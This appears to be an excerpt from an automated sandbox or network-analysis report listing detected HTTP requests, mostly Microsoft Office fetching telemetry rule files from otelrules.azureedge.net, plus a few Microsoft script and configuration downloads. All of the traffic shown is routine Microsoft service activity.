Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
